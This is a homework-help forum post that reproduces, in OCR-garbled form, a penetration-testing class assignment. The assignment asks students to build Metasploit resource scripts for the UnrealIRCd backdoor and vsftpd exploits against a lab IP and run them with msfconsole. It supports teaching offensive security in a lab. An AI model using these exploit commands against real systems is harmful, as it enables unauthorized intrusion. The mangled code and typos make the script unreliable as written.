8 ! Assignmen assignments.sh 8 # 6. The Metasploit framework allows for scripted attacks via Resource Script 19 # HINT:

Business, Finance, Economics, Accounting, Operations Management, Computer Science, Electrical Engineering, Mechanical Engineering, Civil Engineering, Chemical Engineering, Algebra, Precalculus, Statistics and Probabilty, Advanced Math, Physics, Chemistry, Biology, Nursing, Psychology, Certifications, Tests, Prep, and more.
Post Reply
answerhappygod
Site Admin
Posts: 899604
Joined: Mon Aug 02, 2021 8:13 am

8 ! Assignmen assignments.sh 8 # 6. The Metasploit framework allows for scripted attacks via Resource Script 19 # HINT:

Post by answerhappygod »

8 Assignmen Assignments Sh 8 6 The Metasploit Framework Allows For Scripted Attacks Via Resource Script 19 Hint 1
8 Assignmen Assignments Sh 8 6 The Metasploit Framework Allows For Scripted Attacks Via Resource Script 19 Hint 1 (63.9 KiB) Viewed 52 times
8 ! Assignmen assignments.sh 8 # 6. The Metasploit framework allows for scripted attacks via Resource Script 19 # HINT: https://www.offensive-security.com/meta ... r-scripts/ 30 Example Resource Script 21 use exploit/unix/irc/unreal_ircd_3281_backdoor 92 set RHOST 10.0.2.4 93 exploit .2 94 exit -y 95 96 function exploit_vsftpd() 97 98 # Build our metasploit attack Resrouce Script 99 # Find a vsftpd exploit in the Metasploit library 100 # Specify the expoit you want to use on the target system 101 # Output the command to create a new resource script file 102 # called vsftpd.rc using either > or >> 103 104 # YOUR CODE HERE 105 106 • Next, append to the resource file vsftpd.re setting the RHOST 107 # to your target IP variable 108 109 # YOUR CODE HERE 110 111 # One of the last calls in the Resource script is to execute the exploit. 112 # Append "exploit -?" the -z parameter will execute the exploit in the background 113 # YOUR CODE HERE # DO NOT MODIFY echo "exit -y" >> vsftpd.rc . Finally, you are ready to execute the exploit! • The resource script (vsftpd.rc) you created above will be used as an argument • with the Metasploit console (mstconsole). echo "<h3>Results of Vsftpd exploit attempt on target</h3> echo "<pre>" • YOUR CODE HERE echo *</pre>" 127 • end of exploit_vsftpd 114 115 116 117 118 119 120 121 122 123 124 125 126 מטן
Join a community of subject matter experts. Register for FREE to view solutions, replies, and use search function. Request answer by replying!
Post Reply